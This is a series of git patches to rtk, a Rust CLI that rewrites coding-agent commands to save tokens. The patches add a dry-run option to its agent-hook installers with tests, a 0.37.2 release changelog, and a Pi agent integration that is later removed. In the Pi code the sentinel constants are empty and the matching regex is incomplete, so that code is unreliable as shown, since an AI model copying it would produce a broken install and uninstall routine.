!answer.trim().eq_ignore_ascii_case("y") { - println!("Skipped. Add hook manually later."); - return Ok(()); + if dry_run { + println!( + "[dry-run] would prompt before patching {}", + settings_path.display() + ); + } else { + print!("Patch {} with RTK hook? [y/N] ", settings_path.display()); + std::io::Write::flush(&mut std::io::stdout())?; + let mut answer = String::new(); + std::io::stdin().read_line(&mut answer)?; + if !answer.trim().eq_ignore_ascii_case("y") { + println!("Skipped. Add hook manually later."); + return Ok(()); + } } } @@ -2540,8 +3010,20 @@ fn patch_gemini_settings( .context("BeforeTool is not an array")? .push(hook_entry); - // Write atomically let content = serde_json::to_string_pretty(&settings)?; + + if dry_run { + println!( + "[dry-run] would patch Gemini settings.json: {}", + settings_path.display() + ); + if verbose > 0 { + println!("[dry-run] content:\n{}", content); + } + return Ok(()); + } + + // Write atomically let tmp = NamedTempFile::new_in(gemini_dir)?; fs::write(tmp.path(), &content)?; tmp.persist(&settings_path) @@ -2555,7 +3037,7 @@ fn patch_gemini_settings( } /// Remove Gemini artifacts during uninstall -fn uninstall_gemini(verbose: u8) -> Result> { +fn uninstall_gemini(verbose: u8, dry_run: bool) -> Result> { let mut removed = Vec::new(); let gemini_dir = match resolve_gemini_dir() { Ok(d) => d, @@ -2565,16 +3047,27 @@ fn uninstall_gemini(verbose: u8) -> Result> { // Remove hook let hook_path = gemini_dir.join(HOOKS_SUBDIR).join(GEMINI_HOOK_FILE); if hook_path.exists() { - fs::remove_file(&hook_path) - .with_context(|| format!("Failed to remove {}", hook_path.display()))?; + if dry_run { + println!( + "[dry-run] would remove Gemini hook: {}", + hook_path.display() + ); + } else { + fs::remove_file(&hook_path) + .with_context(|| format!("Failed to remove {}", hook_path.display()))?; + } removed.push(format!("Gemini hook: {}", hook_path.display())); } // Remove GEMINI.md let gemini_md = gemini_dir.join(GEMINI_MD); if gemini_md.exists() { - fs::remove_file(&gemini_md) - .with_context(|| format!("Failed to remove {}", gemini_md.display()))?; + if dry_run { + println!("[dry-run] would remove GEMINI.md: {}", gemini_md.display()); + } else { + fs::remove_file(&gemini_md) + .with_context(|| format!("Failed to remove {}", gemini_md.display()))?; + } removed.push(format!("GEMINI.md: {}", gemini_md.display())); } @@ -2595,8 +3088,15 @@ fn uninstall_gemini(verbose: u8) -> Result> { .is_some_and(|c| c.contains("rtk")) }); if arr.len() < before { - let new_content = serde_json::to_string_pretty(&settings)?; - fs::write(&settings_path, new_content)?; + if dry_run { + println!( + "[dry-run] would remove RTK hook from Gemini settings.json: {}", + settings_path.display() + ); + } else { + let new_content = serde_json::to_string_pretty(&settings)?; + fs::write(&settings_path, new_content)?; + } removed.push("Gemini settings.json: removed RTK hook entry".to_string()); } } @@ -2654,12 +3154,14 @@ rtk proxy # Run raw (no filtering) but track usage "#; /// Entry point for `rtk init --copilot` -pub fn run_copilot(verbose: u8) -> Result<()> { +pub fn run_copilot(verbose: u8, dry_run: bool) -> Result<()> { // Install in current project's .github/ directory let github_dir = Path::new(".github"); let hooks_dir = github_dir.join("hooks"); - fs::create_dir_all(&hooks_dir).context("Failed to create .github/hooks/ directory")?; + if !dry_run { + fs::create_dir_all(&hooks_dir).context("Failed to create .github/hooks/ directory")?; + } // 1. Write hook config let hook_path = hooks_dir.join("rtk-rewrite.json"); @@ -2668,6 +3170,7 @@ pub fn run_copilot(verbose: u8) -> Result<()> { COPILOT_HOOK_JSON, "Copilot hook config", verbose, + dry_run, )?; // 2. Write instructions @@ -2677,14 +3180,19 @@ pub fn run_copilot(verbose: u8) -> Result<()> { COPILOT_INSTRUCTIONS, "Copilot instructions", verbose, + dry_run, )?; - println!("\nGitHub Copilot integration installed (project-scoped).\n"); - println!(" Hook config: {}", hook_path.display()); - println!(" Instructions: {}", instructions_path.display()); - println!("\n Works with VS Code Copilot Chat (transparent rewrite)"); - println!(" and Copilot CLI (deny-with-suggestion)."); - println!("\n Restart your IDE or Copilot CLI session to activate.\n"); + if dry_run { + print_dry_run_footer(); + } else { + println!("\nGitHub Copilot integration installed (project-scoped).\n"); + println!(" Hook config: {}", hook_path.display()); + println!(" Instructions: {}", instructions_path.display()); + println!("\n Works with VS Code Copilot Chat (transparent rewrite)"); + println!(" and Copilot CLI (deny-with-suggestion)."); + println!("\n Restart your IDE or Copilot CLI session to activate.\n"); + } Ok(()) } @@ -2754,13 +3262,13 @@ More content"#; fs::create_dir_all(plugin_path.parent().unwrap()).unwrap(); assert!(!plugin_path.exists()); - let changed = ensure_opencode_plugin_installed(&plugin_path, 0).unwrap(); + let changed = ensure_opencode_plugin_installed(&plugin_path, 0, false).unwrap(); assert!(changed); let content = fs::read_to_string(&plugin_path).unwrap(); assert_eq!(content, OPENCODE_PLUGIN); fs::write(&plugin_path, "// old").unwrap(); - let changed_again = ensure_opencode_plugin_installed(&plugin_path, 0).unwrap(); + let changed_again = ensure_opencode_plugin_installed(&plugin_path, 0, false).unwrap(); assert!(changed_again); let content_updated = fs::read_to_string(&plugin_path).unwrap(); assert_eq!(content_updated, OPENCODE_PLUGIN); @@ -2875,8 +3383,8 @@ More notes let agents_md = temp.path().join("AGENTS.md"); fs::write(&agents_md, "# Team rules\n").unwrap(); - let first_added = patch_agents_md(&agents_md, RTK_MD_REF, 0).unwrap(); - let second_added = patch_agents_md(&agents_md, RTK_MD_REF, 0).unwrap(); + let first_added = patch_agents_md(&agents_md, RTK_MD_REF, 0, false).unwrap(); + let second_added = patch_agents_md(&agents_md, RTK_MD_REF, 0, false).unwrap(); assert!(first_added); assert!(!second_added); @@ -2899,6 +3407,7 @@ More notes true, PatchMode::Auto, 0, + false, ) .unwrap_err(); assert_eq!( @@ -2921,6 +3430,7 @@ More notes true, PatchMode::Skip, 0, + false, ) .unwrap_err(); assert_eq!( @@ -2932,7 +3442,7 @@ More notes #[test] fn test_kilocode_mode_creates_rules_file() { let temp = TempDir::new().unwrap(); - run_kilocode_mode_at(temp.path(), 0).unwrap(); + run_kilocode_mode_at(temp.path(), 0, false).unwrap(); let rules_path = temp.path().join(".kilocode/rules/rtk-rules.md"); assert!(rules_path.exists(), "Rules file should be created"); @@ -2943,13 +3453,13 @@ More notes #[test] fn test_kilocode_mode_is_idempotent() { let temp = TempDir::new().unwrap(); - run_kilocode_mode_at(temp.path(), 0).unwrap(); + run_kilocode_mode_at(temp.path(), 0, false).unwrap(); let path = temp.path().join(".kilocode/rules/rtk-rules.md"); let first = fs::read_to_string(&path).unwrap(); // Second run should not overwrite - run_kilocode_mode_at(temp.path(), 0).unwrap(); + run_kilocode_mode_at(temp.path(), 0, false).unwrap(); let second = fs::read_to_string(&path).unwrap(); assert_eq!(first, second, "Idempotent: content should not change"); } @@ -2957,7 +3467,7 @@ More notes #[test] fn test_antigravity_mode_creates_rules_file() { let temp = TempDir::new().unwrap(); - run_antigravity_mode_at(temp.path(), 0).unwrap(); + run_antigravity_mode_at(temp.path(), 0, false).unwrap(); let rules_path = temp.path().join(".agents/rules/antigravity-rtk-rules.md"); assert!(rules_path.exists(), "Rules file should be created"); @@ -2968,13 +3478,13 @@ More notes #[test] fn test_antigravity_mode_is_idempotent() { let temp = TempDir::new().unwrap(); - run_antigravity_mode_at(temp.path(), 0).unwrap(); + run_antigravity_mode_at(temp.path(), 0, false).unwrap(); let path = temp.path().join(".agents/rules/antigravity-rtk-rules.md"); let first = fs::read_to_string(&path).unwrap(); // Second run should not overwrite - run_antigravity_mode_at(temp.path(), 0).unwrap(); + run_antigravity_mode_at(temp.path(), 0, false).unwrap(); let second = fs::read_to_string(&path).unwrap(); assert_eq!(first, second, "Idempotent: content should not change"); } @@ -2984,7 +3494,7 @@ More notes let temp = TempDir::new().unwrap(); let agents_md = temp.path().join("AGENTS.md"); - let added = patch_agents_md(&agents_md, RTK_MD_REF, 0).unwrap(); + let added = patch_agents_md(&agents_md, RTK_MD_REF, 0, false).unwrap(); assert!(added); let content = fs::read_to_string(&agents_md).unwrap(); @@ -3001,7 +3511,7 @@ More notes ) .unwrap(); - let added = patch_agents_md(&agents_md, RTK_MD_REF, 0).unwrap(); + let added = patch_agents_md(&agents_md, RTK_MD_REF, 0, false).unwrap(); assert!(added); let content = fs::read_to_string(&agents_md).unwrap(); @@ -3015,7 +3525,7 @@ More notes let agents_md = temp.path().join("AGENTS.md"); let rtk_md = temp.path().join("RTK.md"); - run_codex_mode_with_paths(agents_md.clone(), rtk_md.clone(), true, 0).unwrap(); + run_codex_mode_with_paths(agents_md.clone(), rtk_md.clone(), true, 0, false).unwrap(); assert!(rtk_md.exists()); assert_eq!(fs::read_to_string(&rtk_md).unwrap(), RTK_SLIM_CODEX); @@ -3051,8 +3561,8 @@ More notes fs::write(&agents_md, "# Team rules\n\n@RTK.md\n").unwrap(); fs::write(&rtk_md, "codex config").unwrap(); - let removed_first = uninstall_codex_at(codex_dir, 0).unwrap(); - let removed_second = uninstall_codex_at(codex_dir, 0).unwrap(); + let removed_first = uninstall_codex_at(codex_dir, 0, false).unwrap(); + let removed_second = uninstall_codex_at(codex_dir, 0, false).unwrap(); assert_eq!(removed_first.len(), 2); assert!(removed_second.is_empty()); @@ -3074,7 +3584,7 @@ More notes fs::write(&agents_md, format!("# Team rules\n\n{}\n", absolute_ref)).unwrap(); fs::write(&rtk_md, "codex config").unwrap(); - let removed = uninstall_codex_at(codex_dir, 0).unwrap(); + let removed = uninstall_codex_at(codex_dir, 0, false).unwrap(); assert_eq!(removed.len(), 2); let content = fs::read_to_string(&agents_md).unwrap(); @@ -3082,6 +3592,60 @@ More notes assert!(content.contains("# Team rules")); } + #[test] + fn test_write_if_changed_dry_run_does_not_create_file() { + let temp = TempDir::new().unwrap(); + let target = temp.path().join("rtk-test.md"); + + let changed = write_if_changed(&target, "some content", "test file", 0, true).unwrap(); + + assert!( + changed, + "dry-run should report would-change for missing file" + ); + assert!( + !target.exists(), + "dry-run must not create file: {}", + target.display() + ); + } + + #[test] + fn test_write_if_changed_dry_run_does_not_modify_existing_file() { + let temp = TempDir::new().unwrap(); + let target = temp.path().join("rtk-test.md"); + fs::write(&target, "original").unwrap(); + + let changed = write_if_changed(&target, "new content", "test file", 0, true).unwrap(); + + assert!(changed, "dry-run should report would-change"); + assert_eq!( + fs::read_to_string(&target).unwrap(), + "original", + "dry-run must not modify file contents" + ); + } + + #[test] + fn test_run_codex_mode_dry_run_writes_nothing() { + let temp = TempDir::new().unwrap(); + let agents_md = temp.path().join("AGENTS.md"); + let rtk_md = temp.path().join("RTK.md"); + + run_codex_mode_with_paths(agents_md.clone(), rtk_md.clone(), true, 0, true).unwrap(); + + assert!( + !rtk_md.exists(), + "dry-run must not create RTK.md: {}", + rtk_md.display() + ); + assert!( + !agents_md.exists(), + "dry-run must not create AGENTS.md: {}", + agents_md.display() + ); + } + #[test] fn test_local_init_unchanged() { // Local init should use claude-md mode diff --git a/src/hooks/integrity.rs b/src/hooks/integrity.rs index 5b0721d0f4..1101fe26a9 100644 --- a/src/hooks/integrity.rs +++ b/src/hooks/integrity.rs @@ -53,6 +53,11 @@ fn hash_path(hook_path: &Path) -> PathBuf { .join(HASH_FILENAME) } +/// Public accessor for the hash sidecar path (used by dry-run existence checks). +pub fn hash_path_for(hook_path: &Path) -> PathBuf { + hash_path(hook_path) +} + /// Store SHA-256 hash of the hook script after installation. /// /// Format is compatible with `sha256sum -c`: diff --git a/src/main.rs b/src/main.rs index e8a19c2be2..668f585ba1 100644 --- a/src/main.rs +++ b/src/main.rs @@ -356,6 +356,10 @@ enum Commands { /// Install GitHub Copilot integration (VS Code + CLI) #[arg(long)] copilot: bool, + + /// Preview changes without writing any files (combine with -v to show content) + #[arg(long = "dry-run")] + dry_run: bool, }, /// Download with compact output (strips progress bars) @@ -1716,12 +1720,13 @@ fn run_cli() -> Result { uninstall, codex, copilot, + dry_run, } => { if show { hooks::init::show_config(codex)?; } else if uninstall { let cursor = agent == Some(AgentTarget::Cursor); - hooks::init::uninstall(global, gemini, codex, cursor, cli.verbose)?; + hooks::init::uninstall(global, gemini, codex, cursor, cli.verbose, dry_run)?; } else if gemini { let patch_mode = if auto_patch { hooks::init::PatchMode::Auto @@ -1730,21 +1735,21 @@ fn run_cli() -> Result { } else { hooks::init::PatchMode::Ask }; - hooks::init::run_gemini(global, hook_only, patch_mode, cli.verbose)?; + hooks::init::run_gemini(global, hook_only, patch_mode, cli.verbose, dry_run)?; } else if copilot { - hooks::init::run_copilot(cli.verbose)?; + hooks::init::run_copilot(cli.verbose, dry_run)?; } else if agent == Some(AgentTarget::Kilocode) { if global { anyhow::bail!("Kilo Code is project-scoped. Use: rtk init --agent kilocode"); } - hooks::init::run_kilocode_mode(cli.verbose)?; + hooks::init::run_kilocode_mode(cli.verbose, dry_run)?; } else if agent == Some(AgentTarget::Antigravity) { if global { anyhow::bail!( "Antigravity is project-scoped. Use: rtk init --agent antigravity" ); } - hooks::init::run_antigravity_mode(cli.verbose)?; + hooks::init::run_antigravity_mode(cli.verbose, dry_run)?; } else { let install_opencode = opencode; let install_claude = !opencode; @@ -1771,6 +1776,7 @@ fn run_cli() -> Result { codex, patch_mode, cli.verbose, + dry_run, )?; } 0 From 0907b998fc3f566df1409474072184fbe5652782 Mon Sep 17 00:00:00 2001 From: "github-actions[bot]" <41898282+github-actions[bot]@users.noreply.github.com> Date: Mon, 20 Apr 2026 17:52:14 +0000 Subject: [PATCH 019/257] chore(master): release 0.37.2 --- .release-please-manifest.json | 2 +- CHANGELOG.md | 14 ++++++++++++++ Cargo.lock | 2 +- Cargo.toml | 2 +- 4 files changed, 17 insertions(+), 3 deletions(-) diff --git a/.release-please-manifest.json b/.release-please-manifest.json index 18ec56b0d8..82f078dce8 100644 --- a/.release-please-manifest.json +++ b/.release-please-manifest.json @@ -1,3 +1,3 @@ { - ".": "0.37.1" + ".": "0.37.2" } diff --git a/CHANGELOG.md b/CHANGELOG.md index 081d4f11ef..d85e64d10e 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -5,6 +5,20 @@ All notable changes to rtk (Rust Token Killer) will be documented in this file. The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.0.0/), and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0.html). +## [0.37.2](https://github.com/rtk-ai/rtk/compare/v0.37.1...v0.37.2) (2026-04-20) + + +### Bug Fixes + +* **discover:** exclude_commands bypass for env-prefix, sub cmd + regex ([ca4c59c](https://github.com/rtk-ai/rtk/commit/ca4c59c230306d310069bed3c0ba930068dc4dc4)) +* **discover:** exclude_commands bypass for env-prefix, sub cmd + regex ([42d3161](https://github.com/rtk-ai/rtk/commit/42d3161872713bc0b20ef49b0714add40c40d5e3)) +* **discover:** word boundary in exclude_commands ([0ea115b](https://github.com/rtk-ai/rtk/commit/0ea115bca5fa66daa69fda2f0eeaaf103346b3a4)) +* **docs:** add missing docs for exclude commands patterns ([2e401ac](https://github.com/rtk-ai/rtk/commit/2e401ac38feec88de8d5e46f0301c8a532b95614)) +* **hooks:** add regression test for windows native ([115e448](https://github.com/rtk-ai/rtk/commit/115e44853b8cdd2d7af3af2b52c9c31e924a45d3)) +* **hooks:** windows use 'rtk hook claude' no fallback ([da3c432](https://github.com/rtk-ai/rtk/commit/da3c432201240f0da9627d8cc6bc70e5b7f8bdfe)) +* **hooks:** windows use 'rtk hook claude' no fallback ([0e29650](https://github.com/rtk-ai/rtk/commit/0e29650e11959730f4c4a2e6d6c0519e14dc8595)) +* **tests:** windows regression test fix path ([13a73dd](https://github.com/rtk-ai/rtk/commit/13a73ddfd78460560a1f5fde94b54b1f848b41b5)) + ## [0.37.1](https://github.com/rtk-ai/rtk/compare/v0.37.0...v0.37.1) (2026-04-18) diff --git a/Cargo.lock b/Cargo.lock index f249792619..faaf868964 100644 --- a/Cargo.lock +++ b/Cargo.lock @@ -892,7 +892,7 @@ dependencies = [ [[package]] name = "rtk" -version = "0.37.1" +version = "0.37.2" dependencies = [ "anyhow", "automod", diff --git a/Cargo.toml b/Cargo.toml index 8da192c91f..cd984748ba 100644 --- a/Cargo.toml +++ b/Cargo.toml @@ -1,6 +1,6 @@ [package] name = "rtk" -version = "0.37.1" +version = "0.37.2" edition = "2021" authors = ["Patrick Szymkowiak"] description = "Rust Token Killer - High-performance CLI proxy to minimize LLM token consumption" From add14643886e1b2c5450056433e577c003872e4d Mon Sep 17 00:00:00 2001 From: hed0rah <18272116+hed0rah@users.noreply.github.com> Date: Tue, 21 Apr 2026 17:42:16 -0400 Subject: [PATCH 020/257] fix(tests): update init.rs test calls for dry_run parameter --- src/hooks/init.rs | 18 +++++++++--------- 1 file changed, 9 insertions(+), 9 deletions(-) diff --git a/src/hooks/init.rs b/src/hooks/init.rs index 8c0ce12c5a..2ba0752fe2 100644 --- a/src/hooks/init.rs +++ b/src/hooks/init.rs @@ -4230,7 +4230,7 @@ More notes fn test_global_default_mode_creates_artifacts() { let tmp = TempDir::new().unwrap(); with_claude_dir_override(&tmp, |claude_dir| { - run_default_mode(true, PatchMode::Auto, 0, false).unwrap(); + run_default_mode(true, PatchMode::Auto, 0, false, false).unwrap(); assert!(claude_dir.join(RTK_MD).exists(), "RTK.md must be created"); assert!( @@ -4252,8 +4252,8 @@ More notes fn test_global_uninstall_removes_artifacts() { let tmp = TempDir::new().unwrap(); with_claude_dir_override(&tmp, |claude_dir| { - run_default_mode(true, PatchMode::Auto, 0, false).unwrap(); - uninstall(true, false, false, false, 0).unwrap(); + run_default_mode(true, PatchMode::Auto, 0, false, false).unwrap(); + uninstall(true, false, false, false, 0, false).unwrap(); assert!(!claude_dir.join(RTK_MD).exists(), "RTK.md must be removed"); let settings_content = @@ -4269,8 +4269,8 @@ More notes fn test_global_default_mode_idempotent() { let tmp = TempDir::new().unwrap(); with_claude_dir_override(&tmp, |claude_dir| { - run_default_mode(true, PatchMode::Auto, 0, false).unwrap(); - run_default_mode(true, PatchMode::Auto, 0, false).unwrap(); + run_default_mode(true, PatchMode::Auto, 0, false, false).unwrap(); + run_default_mode(true, PatchMode::Auto, 0, false, false).unwrap(); let settings = fs::read_to_string(claude_dir.join(SETTINGS_JSON)).unwrap(); let count = settings.matches(CLAUDE_HOOK_COMMAND).count(); @@ -4282,14 +4282,14 @@ More notes fn test_upgrade_from_claude_md_to_hook_mode() { let tmp = TempDir::new().unwrap(); with_claude_dir_override(&tmp, |claude_dir| { - run_claude_md_mode(true, 0, false).unwrap(); + run_claude_md_mode(true, 0, false, false).unwrap(); let claude_md_content = fs::read_to_string(claude_dir.join(CLAUDE_MD)).unwrap(); assert!( claude_md_content.contains(""; +const PI_AWARENESS_END: &str = ""; + +lazy_static! { + /// Matches the full sentinel block including any preceding newline so + /// replacement leaves no double-blank gaps. + static ref PI_SENTINEL_RE: Regex = + Regex::new(r"(?s)\n?.*?").unwrap(); +} + +/// Build the full sentinel-wrapped awareness block. +fn pi_awareness_block() -> String { + format!( + "{}\n{}\n{}", + PI_AWARENESS_START, + RTK_SLIM_PI.trim(), + PI_AWARENESS_END + ) +} + +/// Append or update the RTK awareness block in a Pi AGENTS.md file. +/// +/// Uses sentinel comments for idempotent install / version-bump updates: +/// - Sentinels absent → append block with a blank-line separator +/// - Sentinels present, content identical → no-op +/// - Sentinels present, content differs → replace block in-place +fn install_pi_awareness(agents_md_path: &Path, verbose: u8) -> Result<()> { + let block = pi_awareness_block(); + + if agents_md_path.exists() { + let existing = fs::read_to_string(agents_md_path) + .with_context(|| format!("Failed to read {}", agents_md_path.display()))?; + + if existing.contains(&block) { + if verbose > 0 { + eprintln!( + "Pi awareness already up to date: {}", + agents_md_path.display() + ); + } + return Ok(()); + } + + let updated = if PI_SENTINEL_RE.is_match(&existing) { + // Sentinels present but content differs (version bump) — replace in-place. + PI_SENTINEL_RE + .replace(&existing, format!("\n{}", block).as_str()) + .into_owned() + } else { + // No sentinels yet — append with a blank-line separator. + format!("{}\n\n{}", existing.trim_end(), block) + }; + + atomic_write(agents_md_path, &updated) + .with_context(|| format!("Failed to write {}", agents_md_path.display()))?; + + if verbose > 0 { + eprintln!("Updated Pi awareness: {}", agents_md_path.display()); + } + } else { + // File absent — create it containing only the awareness block. + atomic_write(agents_md_path, &block) + .with_context(|| format!("Failed to create {}", agents_md_path.display()))?; + + if verbose > 0 { + eprintln!("Created Pi awareness: {}", agents_md_path.display()); + } + } + + Ok(()) +} + +/// Remove the RTK awareness sentinel block from an AGENTS.md file. +/// If the sentinels are absent this is a no-op. +fn remove_pi_awareness(agents_md_path: &Path, verbose: u8) -> Result<()> { + if !agents_md_path.exists() { + return Ok(()); + } + + let existing = fs::read_to_string(agents_md_path) + .with_context(|| format!("Failed to read {}", agents_md_path.display()))?; + + if !PI_SENTINEL_RE.is_match(&existing) { + return Ok(()); + } + + let updated = PI_SENTINEL_RE.replace(&existing, "").into_owned(); + atomic_write(agents_md_path, updated.trim_end()) + .with_context(|| format!("Failed to write {}", agents_md_path.display()))?; + + if verbose > 0 { + eprintln!( + "Removed Pi awareness block from: {}", + agents_md_path.display() + ); + } + + Ok(()) +} + +/// Install the Pi extension and inject the awareness block into AGENTS.md. +/// +/// global=true → `$PI_CODING_AGENT_DIR/extensions/rtk.ts` + `$PI_CODING_AGENT_DIR/AGENTS.md` +/// global=false → `.pi/extensions/rtk.ts` + `./AGENTS.md` +/// +/// AGENTS.md injection is skipped in global mode when the Pi config directory +/// did not previously exist (the user has not yet run `pi`). The extension is +/// still written so the user gets immediate coverage once they do initialise Pi. +pub fn run_pi_mode(global: bool, verbose: u8) -> Result<()> { + let mut should_install_awareness = true; + + let plugin_path = if global { + let pi_dir = resolve_pi_dir()?; + // Capture existence *before* we create subdirectories. + let pi_dir_preexisting = pi_dir.exists(); + + let path = pi_plugin_path(&pi_dir); + if let Some(parent) = path.parent() { + fs::create_dir_all(parent).with_context(|| { + format!( + "Failed to create Pi extensions directory: {}", + parent.display() + ) + })?; + } + + if !pi_dir_preexisting { + should_install_awareness = false; + } + + path + } else { + let path = pi_plugin_path_for_scope(false)?; + if let Some(parent) = path.parent() { + fs::create_dir_all(parent).with_context(|| { + format!( + "Failed to create local Pi extensions directory: {}", + parent.display() + ) + })?; + } + path + }; + + let installed = ensure_pi_plugin_installed(&plugin_path, verbose)?; + let agents_md_path = pi_agents_md_path_for_scope(global)?; + + if should_install_awareness { + install_pi_awareness(&agents_md_path, verbose)?; + print_pi_result(&plugin_path, Some(&agents_md_path), installed); + } else { + eprintln!( + "[rtk] Pi config directory not found ({}).\n\ + Extension installed but skipping AGENTS.md injection.\n\ + Create the directory or run `pi` once to initialise it.", + resolve_pi_dir()?.display() + ); + print_pi_result(&plugin_path, None, installed); + } + + Ok(()) +} + +fn print_pi_result(plugin_path: &Path, agents_md_path: Option<&Path>, installed: bool) { + let status = if installed { + "installed" + } else { + "already up to date" + }; + println!("RTK Pi extension {}:", status); + println!(" Extension: {}", plugin_path.display()); + if let Some(p) = agents_md_path { + println!(" AGENTS.md: {}", p.display()); + } + println!(); + println!("Pi will load the extension automatically on next start."); + println!("Verify: pi -e {} --no-session", plugin_path.display()); +} + /// Return OpenCode plugin path: ~/.config/opencode/plugins/rtk.ts fn opencode_plugin_path(opencode_dir: &Path) -> PathBuf { opencode_dir.join(PLUGIN_SUBDIR).join(OPENCODE_PLUGIN_FILE) @@ -3740,6 +4009,9 @@ mod tests { use std::sync::Mutex; static CLAUDE_DIR_LOCK: Mutex<()> = Mutex::new(()); + static PI_DIR_LOCK: Mutex<()> = Mutex::new(()); + /// Serialises all tests that mutate the process-wide working directory. + static CWD_LOCK: Mutex<()> = Mutex::new(()); fn with_claude_dir_override(tmp: &TempDir, f: F) { let _guard = CLAUDE_DIR_LOCK.lock().unwrap_or_else(|e| e.into_inner()); @@ -3755,6 +4027,20 @@ mod tests { } } + fn with_pi_dir_override(tmp: &TempDir, f: F) { + let _guard = PI_DIR_LOCK.lock().unwrap_or_else(|e| e.into_inner()); + let pi_dir = tmp.path().join("pi_agent"); + fs::create_dir_all(&pi_dir).unwrap(); + + let orig = std::env::var_os(PI_CODING_AGENT_DIR_ENV); + std::env::set_var(PI_CODING_AGENT_DIR_ENV, &pi_dir); + f(&pi_dir); + match orig { + Some(v) => std::env::set_var(PI_CODING_AGENT_DIR_ENV, v), + None => std::env::remove_var(PI_CODING_AGENT_DIR_ENV), + } + } + #[test] fn test_global_default_mode_creates_artifacts() { let tmp = TempDir::new().unwrap(); @@ -3782,7 +4068,7 @@ mod tests { let tmp = TempDir::new().unwrap(); with_claude_dir_override(&tmp, |claude_dir| { run_default_mode(true, PatchMode::Auto, 0, false).unwrap(); - uninstall(true, false, false, false, 0).unwrap(); + uninstall(true, false, false, false, false, 0).unwrap(); assert!(!claude_dir.join(RTK_MD).exists(), "RTK.md must be removed"); let settings_content = @@ -3832,6 +4118,7 @@ mod tests { #[test] fn test_local_init_no_hook() { let tmp = TempDir::new().unwrap(); + let _cwd_guard = CWD_LOCK.lock().unwrap_or_else(|e| e.into_inner()); let cwd = std::env::current_dir().unwrap(); std::env::set_current_dir(tmp.path()).unwrap(); @@ -3956,4 +4243,259 @@ mod tests { "RTK end marker must be removed" ); } + + // ─── Pi integration tests ─────────────────────────────────────────── + + #[test] + fn test_run_pi_mode_global_installs_plugin() { + let tmp = TempDir::new().unwrap(); + with_pi_dir_override(&tmp, |pi_dir| { + run_pi_mode(true, 0).unwrap(); + + let plugin = pi_dir.join(PI_EXTENSIONS_SUBDIR).join(PI_PLUGIN_FILE); + assert!(plugin.exists(), "global Pi extension must be created"); + + let content = fs::read_to_string(&plugin).unwrap(); + assert!( + content.contains("rtk rewrite"), + "extension must delegate to rtk rewrite" + ); + }); + } + + #[test] + fn test_run_pi_mode_local_installs_plugin() { + let tmp = TempDir::new().unwrap(); + let _cwd_guard = CWD_LOCK.lock().unwrap_or_else(|e| e.into_inner()); + let cwd = std::env::current_dir().unwrap(); + std::env::set_current_dir(tmp.path()).unwrap(); + + let result = run_pi_mode(false, 0); + std::env::set_current_dir(&cwd).unwrap(); + result.unwrap(); + + let plugin = tmp + .path() + .join(".pi") + .join(PI_EXTENSIONS_SUBDIR) + .join(PI_PLUGIN_FILE); + assert!(plugin.exists(), "local Pi extension must be created"); + } + + #[test] + fn test_run_pi_mode_global_injects_awareness() { + let tmp = TempDir::new().unwrap(); + with_pi_dir_override(&tmp, |pi_dir| { + run_pi_mode(true, 0).unwrap(); + + let agents_md = pi_dir.join(AGENTS_MD); + assert!(agents_md.exists(), "AGENTS.md must be created"); + + let content = fs::read_to_string(&agents_md).unwrap(); + assert!( + content.contains(PI_AWARENESS_START), + "AGENTS.md must contain sentinel start" + ); + assert!( + content.contains(PI_AWARENESS_END), + "AGENTS.md must contain sentinel end" + ); + }); + } + + #[test] + fn test_run_pi_mode_global_skips_awareness_when_dir_absent() { + let tmp = TempDir::new().unwrap(); + let absent_dir = tmp.path().join("no_such_pi_dir"); + let _guard = PI_DIR_LOCK.lock().unwrap_or_else(|e| e.into_inner()); + let orig = std::env::var_os(PI_CODING_AGENT_DIR_ENV); + std::env::set_var(PI_CODING_AGENT_DIR_ENV, &absent_dir); + + let result = run_pi_mode(true, 0); + + match orig { + Some(v) => std::env::set_var(PI_CODING_AGENT_DIR_ENV, v), + None => std::env::remove_var(PI_CODING_AGENT_DIR_ENV), + } + + result.unwrap(); + + let plugin = absent_dir.join(PI_EXTENSIONS_SUBDIR).join(PI_PLUGIN_FILE); + assert!( + plugin.exists(), + "plugin must be written even when dir was absent" + ); + + let agents_md = absent_dir.join(AGENTS_MD); + assert!( + !agents_md.exists(), + "AGENTS.md must not be created when Pi dir was absent" + ); + } + + #[test] + fn test_install_pi_awareness_appends_to_existing_file() { + let tmp = TempDir::new().unwrap(); + let path = tmp.path().join(AGENTS_MD); + fs::write(&path, "# Existing content\n").unwrap(); + + install_pi_awareness(&path, 0).unwrap(); + + let content = fs::read_to_string(&path).unwrap(); + assert!(content.contains("# Existing content")); + assert!(content.contains(PI_AWARENESS_START)); + assert!(content.contains(PI_AWARENESS_END)); + } + + #[test] + fn test_install_pi_awareness_idempotent() { + let tmp = TempDir::new().unwrap(); + let path = tmp.path().join(AGENTS_MD); + + install_pi_awareness(&path, 0).unwrap(); + let content_after_first = fs::read_to_string(&path).unwrap(); + + install_pi_awareness(&path, 0).unwrap(); + let content_after_second = fs::read_to_string(&path).unwrap(); + + assert_eq!( + content_after_first, content_after_second, + "second install must be a no-op" + ); + assert_eq!(content_after_second.matches(PI_AWARENESS_START).count(), 1); + } + + #[test] + fn test_install_pi_awareness_replaces_stale_block() { + let tmp = TempDir::new().unwrap(); + let path = tmp.path().join(AGENTS_MD); + + let stale = + format!("# Existing\n\n\nstale content\n"); + fs::write(&path, &stale).unwrap(); + + install_pi_awareness(&path, 0).unwrap(); + + let content = fs::read_to_string(&path).unwrap(); + assert!( + !content.contains("stale content"), + "old block must be replaced" + ); + assert!( + content.contains(PI_AWARENESS_START), + "new sentinel must be present" + ); + assert_eq!(content.matches(""; -const PI_AWARENESS_END: &str = ""; - -lazy_static! { - /// Matches the full sentinel block including any preceding newline so - /// replacement leaves no double-blank gaps. - static ref PI_SENTINEL_RE: Regex = - Regex::new(r"(?s)\n?.*?").unwrap(); -} - -/// Build the full sentinel-wrapped awareness block. -fn pi_awareness_block() -> String { - format!( - "{}\n{}\n{}", - PI_AWARENESS_START, - RTK_SLIM_PI.trim(), - PI_AWARENESS_END - ) -} - -/// Append or update the RTK awareness block in a Pi AGENTS.md file. -/// -/// Uses sentinel comments for idempotent install / version-bump updates: -/// - Sentinels absent → append block with a blank-line separator -/// - Sentinels present, content identical → no-op -/// - Sentinels present, content differs → replace block in-place -fn install_pi_awareness(agents_md_path: &Path, verbose: u8) -> Result<()> { - let block = pi_awareness_block(); - - if agents_md_path.exists() { - let existing = fs::read_to_string(agents_md_path) - 